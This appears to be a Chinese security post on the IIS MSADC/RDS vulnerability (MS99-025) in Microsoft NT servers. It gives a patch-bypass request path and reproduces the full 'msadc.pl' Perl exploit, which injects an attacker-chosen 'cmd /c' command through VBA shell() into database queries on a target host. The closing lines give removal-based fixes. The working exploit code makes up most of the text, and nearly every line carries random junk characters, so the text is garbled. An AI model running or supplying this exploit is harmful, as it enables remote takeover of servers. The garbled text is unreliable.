IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P,S
G.EFK Flxvhl)L 涉及程序：
4\ c,)U} Microsoft NT server
owp Wz6 k7 E\ 8 描述：
b,TiMf9},h 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1SIq[1 #:x4DvDkR 详细：
2aA`f7 如果你没有时间读详细内容的话，就删除:
Uggw -sRU c:\Program Files\Common Files\System\Msadc\msadcs.dll
#zUX yT#X 有关的安全问题就没有了。
"[p@tc?5 rZPT89M6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
0H_!Kg H5cV5E0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
9i5,2~ 关于利用ODBC远程漏洞的描述，请参看:
rX7QbAB s?Uh| BfB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _Us*+
2(4L A=zPL q{Sb 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
)2q~u%9n http://www.microsoft.com/security/bulletins/MS99-025faq.asp AdZ;j6# gd/H``x|Y 这里不再论述。
#%@*p,xh gwd (N 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
nP~({ :l8X `IpA.| Y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5v\!]?(O ; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ma$Prd 5qUTMT['T |wE3UWsy #将下面这段保存为txt文件，然后: "perl -x 文件名"
|H}m 4-+* 2f`nMW #!perl
YT/kC'A #
_/* U2.xS # MSADC/RDS 'usage' (aka exploit) script
^>y@4q B #
]'~v I/p # by rain.forest.puppy
'uDjFQX #
J~B
7PW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
_lKZmhi # beta test and find errors!
)&{K~i ;: R
#]jSiS use Socket; use Getopt::Std;
)\;Z4x;]U getopts("e:vd:h:XR", \%args);
ZPN
roCK` i|)Su4Dw print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
y;?ie]3G JPM))4YDR if (!defined $args{h} && !defined $args{R}) {
Z+`{ 7G?4m print qq~
+z9@:L Usage: msadc.pl -h <host> { -d <delay> -X -v }
hd V1nS$ -h <host> = host you want to scan (ip or domain)
tGdf/aTjy -d <seconds> = delay between calls, default 1 second
; < )~Y- -X = dump Index Server path table, if available
j;_c+ w!P -v = verbose
\ o-&f: -e = external dictionary file for step 5
pC pb;<JG 4F >Urh+ Or a -R will resume a command session
w=h1pwY e6 B{QP#jq ~; exit;}
8@{OR"Ec 7?gFy- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3 cS2gxF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9z;HsU v if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
)? M 9|u if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
U'U Q|%5f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ch()P.n? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qj AWeS/ /N>e&e[35\ if (!defined $args{R}){ $ret = &has_msadc;
[+ *$\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
; R=.iOn BG^C9*ZuP print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"1q>A t . "cmd /c ";
:f5s4N $in=<STDIN>; chomp $in;
&0TVi $command="cmd /c " . $in ;
pu!d qF< e7fiGl if (defined $args{R}) {&load; exit;}
'evj,zFhW H+}"q$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@=]~\[e\ &try_btcustmr;
~1m2#> 6<,dRn print "\nStep 2: Trying to make our own DSN...";
m]_FQWfet &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1QZ&Mj^^ _ ~RpGX print "\nStep 3: Trying known DSNs...";
{k.MS-q &known_dsn;
iz(u=/*\ 3 lLMu B+ print "\nStep 4: Trying known .mdbs...";
._ wkj &known_mdb;
G iq=*D+ 5WqXo{S if (defined $args{e}){
>StO.Q99 print "\nStep 5: Trying dictionary of DSN names...";
5 G0 $ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YI-O{U 1C Pjil*eb print "Sorry Charley...maybe next time?\n";
Iq+>qX exit;
MC 0TaP #zrTY9m7 ##############################################################################
e}@)z3Q<l cw&Hgjj2
sub sendraw { # ripped and modded from whisker
. *$OQA sleep($delay); # it's a DoS on the server! At least on mine...
O9'x -A% my ($pstr)=@_;
;
UiwH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
MRr</o die("Socket problems\n");
N4;7gSc" if(connect(S,pack "SnA4x8",2,80,$target)){
! / y!QXj select(S); $|=1;
@`-[;?> print $pstr; my @in=<S>;
bi ozZ select(STDOUT); close(S);
]J9cVp return @in;
G Ejd7s]C } else { die("Can't connect...\n"); }}
V Km! Ri$ ` G1&Z]z ##############################################################################
!|2VWI} k VI#(uO sub make_header { # make the HTTP request
E$a ?LFa6 my $msadc=<<EOT
S~q Zr POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x 5dWBGH User-Agent: ACTIVEDATA
Y
$g$x<7 Host: $ip
p\C%% Content-Length: $clen
Obw?_@X Connection: Keep-Alive
Z3 ; !l )CI1; ADCClientVersion:01.06
~9F ,% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4E8JT#& d|Gl`BG
--!ADM!ROX!YOUR!WORLD!
5dx&Qu'}ZS Content-Type: application/x-varg
M,j(=hRJ/E Content-Length: $reqlen
z PEg _ 4 6X%k EOT
2 ;L|y._`w ; $msadc=~s/\n/\r\n/g;
!$A 37j6 return $msadc;}
n/QF2&X7) RWgDD;&_[a ##############################################################################
p
<eC<dtu @ZN^1?][ sub make_req { # make the RDS request
3$vRW.c\q my ($switch, $p1, $p2)=@_;
eMOD;{Q?X my $req=""; my $t1, $t2, $query, $dsn;
k~%<Ir1V] V~GWl1#7 if ($switch==1){ # this is the btcustmr.mdb query
1%M&CX $query="Select * from Customers where City=" . make_shell();
xE}VTHFo' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
hA 3HVP_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
SUWD]k >PH O_$d I*RK elsif ($switch==2){ # this is general make table query
VZ>On$ hp $query="create table AZZ (B int, C varchar(10))";
pqvOJ#?Q}= $dsn="$p1";}
gI R^ )m r
_,_5
@0e elsif ($switch==3){ # this is general exploit table query
: "6q, W $query="select * from AZZ where C=" . make_shell();
Nf+b" &Zh` $dsn="$p1";}
l 5Y/Ok0, n f b]VN~( elsif ($switch==4){ # attempt to hork file info from index server
I t_M@ $query="select path from scope()";
L?_7bX oD $dsn="Provider=MSIDXS;";}
: FAH\ >}~ #>Ru elsif ($switch==5){ # bad query
/w QL $query="select";
*KK+X07 $dsn="$p1";}
rI5F o h6 _!xD8Di# $t1= make_unicode($query);
gB\T[R V $t2= make_unicode($dsn);
UX`]k{Mz $req = "\x02\x00\x03\x00";
EG'[`<*h $req.= "\x08\x00" . pack ("S1", length($t1));
rdJm{ < $req.= "\x00\x00" . $t1 ;
|5I'CNi\ $req.= "\x08\x00" . pack ("S1", length($t2));
d#:3be{|&q $req.= "\x00\x00" . $t2 ;
W$dn_9W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
v ]2S`ffP return $req;}
HQ9f ,< F Kc; W ##############################################################################
E}Ci QUx bLz *A- sub make_shell { # this makes the shell() statement
kH*P n' return "'|shell(\"$command\")|'";}
3`hUo5K yTE%hHH]&[ ##############################################################################
aYL|@R5;e Gy1xG.yM~ sub make_unicode { # quick little function to convert to unicode
u ^I(Ny my ($in)=@_; my $out;
He0=-AR8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"`}~~.q return $out;}
p6EDQwlf + c:3o* ##############################################################################
7Y=cn_
wU d
{ lP sub rdo_success { # checks for RDO return success (this is kludge)
M"q[ p my (@in) = @_; my $base=content_start(@in);
"%WgT2)m. if($in[$base]=~/multipart\/mixed/){
z2m s^Y=j return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ap &)6g return 0;}
Uts"aQ "wH) mQnd ##############################################################################
R7oj# %v5R#14[n sub make_dsn { # this makes a DSN for us
1rw0sAuGy my @drives=("c","d","e","f");
W]<$0 print "\nMaking DSN: ";
K.tlo^#^B[ foreach $drive (@drives) {
y<W8Q<9 print "$drive: ";
kI*(V [i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
*VSel4;\t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
k'`m97B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hovG QHg $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
. F&9.#> return 0 if $2 eq "404"; # not found/doesn't exist
5OM?3 M if($2 eq "200") {
G @!z$ foreach $line (@results) {
|6biq8|$3V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I4H`YOD% } return 0;}
sK$wN4k n9LGP2#! ##############################################################################
M "=n>;*X VvByHcLv sub verify_exists {
si1*Wt<3Bc my ($page)=@_;
_\ 5~>g_ my @results=sendraw("GET $page HTTP/1.0\n\n");
71FeDpe return $results[0];}
~>G]_H]? `U!y&Q$, ##############################################################################
Zr$d20M2A; '/0#lF sub try_btcustmr {
TGT$ >/w > my @drives=("c","d","e","f");
@mw "W{ my @dirs=("winnt","winnt35","winnt351","win","windows");
K YJ1}5n (lA.3 4.p foreach $dir (@dirs) {
'6 Qy / R print "$dir -> "; # fun status so you can see progress
qg z*'_S foreach $drive (@drives) {
k>4qkigjc print "$drive: "; # ditto
OQ/<-+<w $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~+D*:7Y_ $reqlenlen=length( "$reqlen" );
E
?2O( $clen= 206 + $reqlenlen + $reqlen;
rt]S\
[c K^+s)N my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*#>F.#9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=1/NFlt8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g]mtFrP s}M= oe ##############################################################################
1.@vS&Y7OE \ v@({nB8 sub odbc_error {
n_[i0x7# my (@in)=@_; my $base;
.W\ve >; my $base = content_start(@in);
,cTgR78' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1N`vCt]w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@`u?bnx]e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
KHiFJ_3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\jW)Xy return $in[$base+4].$in[$base+5].$in[$base+6];}
`T*U]/zQ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9 G?ldp8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V+MK'<#B $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t
*6loS0+ ul7o%Hs ##############################################################################
=?}twC$ ux2013C_ sub verbose {
-=$2p0" R my ($in)=@_;
dLh6:Gh8_I return if !$verbose;
1V&PtI3 !! print STDOUT "\n$in\n";}
Z%o7f6P0IX
GrJ#. ##############################################################################
UgHf* m cleOsj;S sub save {
.,2V5D-${ my ($p1, $p2, $p3, $p4)=@_;
?v]- ^X=& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rp!
LP#* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
O0~vf[i]; close OUT;}
;#?M)o:q ucYkxi`x ##############################################################################
Ry;$^.7% Q ~|R Z7G sub load {
O_@2;iD^^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T(X:Yw open(IN,"<rds.save") || die("Couldn't open rds.save\n");
-mNQ;zI1 @p=<IN>; close(IN);
IY (h ~O $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
dT@UK^\ $target= inet_aton($ip) || die("inet_aton problems");
4z4v\IpB print "Resuming to $ip ...";
=6nD0i 9+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
0 Vv9BL{ if($p[1]==1) {
O??vm?eo $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1IH[g*f $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[5ethM
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B:oF;~d/, if (rdo_success(@results)){print "Success!\n";}
64ox jF) else { print "failed\n"; verbose(odbc_error(@results));}}
Z_z#QX>=D elsif ($p[1]==3){
'UwI*EW2S if(run_query("$p[3]")){
GKtS6$1d# print "Success!\n";} else { print "failed\n"; }}
x/TGp?\g elsif ($p[1]==4){
{XY3Xo if(run_query($drvst . "$p[3]")){
)na&" bJ print "Success!\n"; } else { print "failed\n"; }}
NGzgLSm\ exit;}
))#'4 v#w _eqg ##############################################################################
gtU1'p" kl7A^0Qrz sub create_table {
y0q#R.TOm my ($in)=@_;
s3t!<9[m $reqlen=length( make_req(2,$in,"") ) - 28;
- V) R< $reqlenlen=length( "$reqlen" );
3P=w =~e $clen= 206 + $reqlenlen + $reqlen;
z_SagU,\ my @results=sendraw(make_header() . make_req(2,$in,""));
=G>(~+EA return 1 if rdo_success(@results);
$3
8gs{+ my $temp= odbc_error(@results); verbose($temp);
4 rB8Nm1 return 1 if $temp=~/Table 'AZZ' already exists/;
]
pPz@@xx return 0;}
Agy
<j
)^; DGzG ##############################################################################
L@)&vn ] s OC&Q&eg sub known_dsn {
x'`"iZO.t # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-WR}m6yMr my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
NrJzVGeS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
iyM^[/-R6 "banner", "banners", "ads", "ADCDemo", "ADCTest");
Bku' H hw,^G 5m foreach $dSn (@dsns) {
\2DE ==M)P print ".";
}C6@c1myq- next if (!is_access("DSN=$dSn"));
X-Ycz 5? if(create_table("DSN=$dSn")){
=I4.Gf"~f print "$dSn successful\n";
5{l1A (b if(run_query("DSN=$dSn")){
:$H!@n*/R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k$[{n'\@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
l8wF0 | S ~|.&0"\ ##############################################################################
Qlz Q]:dWC F,}s$ v sub is_access {
[%8@D C' my ($in)=@_;
|O (G nsZ $reqlen=length( make_req(5,$in,"") ) - 28;
xb^ Mo. \[ $reqlenlen=length( "$reqlen" );
} p'8 w\C$ $clen= 206 + $reqlenlen + $reqlen;
=7jEz+w# my @results=sendraw(make_header() . make_req(5,$in,""));
m6n hC my $temp= odbc_error(@results);
X %4h(7;v verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Eb@MfL return 0;}
LHi6:G"Y( b7$}JCn ##############################################################################
m^tNqJs8 4;<DJ.XlN= sub run_query {
h5onRa *7 my ($in)=@_;
0=[0| `x $reqlen=length( make_req(3,$in,"") ) - 28;
Y6eEGo"K.+ $reqlenlen=length( "$reqlen" );
S<oQ}+4[~ $clen= 206 + $reqlenlen + $reqlen;
0n5UKtB my @results=sendraw(make_header() . make_req(3,$in,""));
@ >O&Cpt return 1 if rdo_success(@results);
v]bAWo my $temp= odbc_error(@results); verbose($temp);
rx:lKoOnB return 0;}
-9G]x{>
KOS yh<& ##############################################################################
0|C[-ppr ?0J0I j, sub known_mdb {
Zoow*`b|$U my @drives=("c","d","e","f","g");
q|{tQJfYg my @dirs=("winnt","winnt35","winnt351","win","windows");
k>{-[X,/OV my $dir, $drive, $mdb;
Z=9dMND my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
G[6=u| (M tA qs2 # this is sparse, because I don't know of many
*Mi6 my @sysmdbs=( "\\catroot\\icatalog.mdb",
% 0v *n8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;BTJ%F. "\\system32\\certmdb.mdb",
eTZ`q_LfI1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lIq~~cv) D4 4I"TgqD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
G%OpO.Wf "\\cfusion\\cfapps\\forums\\forums_.mdb",
k+\7B}7F "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
T N ci.'] "\\cfusion\\cfapps\\security\\realm_.mdb",
*/U$sZQ) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\Da~p9 T& "\\cfusion\\database\\cfexamples.mdb",
SJ(9rhB5*. "\\cfusion\\database\\cfsnippets.mdb",
{HuLuP 0t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(46U|P(v "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
F*<Ws;j "\\cfusion\\brighttiger\\database\\cleam.mdb",
#NF+UJYJ&' "\\cfusion\\database\\smpolicy.mdb",
E& ]_U$ "\\cfusion\\database\cypress.mdb",
r}@< K "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
, 4Y sZ "\\website\\cgi-win\\dbsample.mdb",
M cb<[~m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;U7t "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
)/ TVJAJ ); #these are just
A I fk"2 foreach $drive (@drives) {
w:R]!e_6\9 foreach $dir (@dirs){
V'yxqI? foreach $mdb (@sysmdbs) {
oZvG3_H4 . print ".";
m/N(%oMWB= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6 SAQDE print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
L& HzN{K if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
m?vAyi print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
~y%7w5%Un } else { print "Something's borked. Use verbose next time\n"; }}}}}
Ja=N@&Z# 3mA/Nu_ foreach $drive (@drives) {
I b(,P3 foreach $mdb (@mdbs) {
-9Xw]I#QR print ".";
p,^>*/O> if(create_table($drv . $drive . $dir . $mdb)){
<w11 nB) print "\n" . $drive . $dir . $mdb . " successful\n";
~$ WQ"~z if(run_query($drv . $drive . $dir . $mdb)){
|
VRq$^g print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*EE|?vn } else { print "Something's borked. Use verbose next time\n"; }}}}
bgXc_>T6_y }
2 ^ kn5 |Kn^w4mN ##############################################################################
cFxSDTR [r~~=b7*[ sub hork_idx {
RA~_]Hk print "\nAttempting to dump Index Server tables...\n";
Faw. GU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Q
}8C $reqlen=length( make_req(4,"","") ) - 28;
-CZ-l;5 $reqlenlen=length( "$reqlen" );
U a!Odju*w $clen= 206 + $reqlenlen + $reqlen;
<v -92? my @results=sendraw2(make_header() . make_req(4,"",""));
Xa6qvg7/ if (rdo_success(@results)){
t9n'! my $max=@results; my $c; my %d;
<sF!]R&4 for($c=19; $c<$max; $c++){
lZ+/\s,]| $results[$c]=~s/\x00//g;
A8`orMo2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Jz2 q\42q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
n%Rjt!9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<m9JXO:5 $d{"$1$2"}="";}
Ut=0~x.=< foreach $c (keys %d){ print "$c\n"; }
M, Po54u } else {print "Index server doesn't seem to be installed.\n"; }}
xKisL=l6Y <#!8?o&i ##############################################################################
,P1G ?,y kfIbgya sub dsn_dict {
&A#90xzF open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_4A&%> while(<IN>){
]n/jJ_[ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
m';|}z' next if (!is_access("DSN=$dSn"));
JC BnFrP if(create_table("DSN=$dSn")){
,7/\&X<`B print "$dSn successful\n";
4v i B=> if(run_query("DSN=$dSn")){
;+! xZOmm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sd7Y6?_C print "Something's borked. Use verbose next time\n";}}}
|Yg}WHm print "\n"; close(IN);}
<`b|L9 f61]`@Bk ##############################################################################
l$qmn$Uc X]>[Qz)K^ sub sendraw2 { # ripped and modded from whisker
K T"h74@ sleep($delay); # it's a DoS on the server! At least on mine...
]*;RHy9 my ($pstr)=@_;
`jt(DK B+J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zh?xIpY die("Socket problems\n");
NdaM9a#TZ if(connect(S,pack "SnA4x8",2,80,$target)){
m}sh I8S print "Connected. Getting data";
+._f.BRmX. open(OUT,">raw.out"); my @in;
$::51# ^Wg select(S); $|=1; print $pstr;
^O?l9(=/u while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Z7ZWf'o close(OUT); select(STDOUT); close(S); return @in;
Gu<W:n[ } else { die("Can't connect...\n"); }}
UeC 81*XZ LjX&' , ##############################################################################
N>h]mX6 1j8 /4: sub content_start { # this will take in the server headers
Cf.WO %?P my (@in)=@_; my $c;
thR|h+B for ($c=1;$c<500;$c++) {
+X{cN5Y K if($in[$c] =~/^\x0d\x0a/){
UX+?0 K if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
,(zcl$A[ else { return $c+1; }}}
U5T^S return -1;} # it should never get here actually
..sJtA8 9Vh_XBgP ##############################################################################
~l y`u d ICnB:SSB sub funky {
;g!xQvcR my (@in)=@_; my $error=odbc_error(@in);
w?*'vF_2:# if($error=~/ADO could not find the specified provider/){
4"rb&$E print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$v2S;UB v* exit;}
%!1@aL]p Q if($error=~/A Handler is required/){
]M02>=1 print "\nServer has custom handler filters (they most likely are patched)\n";
z0FR33- exit;}
L2do 2_ if($error=~/specified Handler has denied Access/){
%l0_PhAB print "\nServer has custom handler filters (they most likely are patched)\n";
Z%(Df3~gmm exit;}}
j TG S6{E !:R^}pMhIk ##############################################################################
U]1>?,Nk'3 ci#Zvhtk r sub has_msadc {
i&?
78+: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
q>wa#1X) my $base=content_start(@results);
AqTR.}H return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
p Rb+'v&_k return 0;}
YLr%vnO*NS > & 4 I.nA ########################
(Qw`%B Y,p2eAss exGhk t~ 解决方案：
+sV# Z, 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4'7
v!I9 2、移除web 目录: /msadc
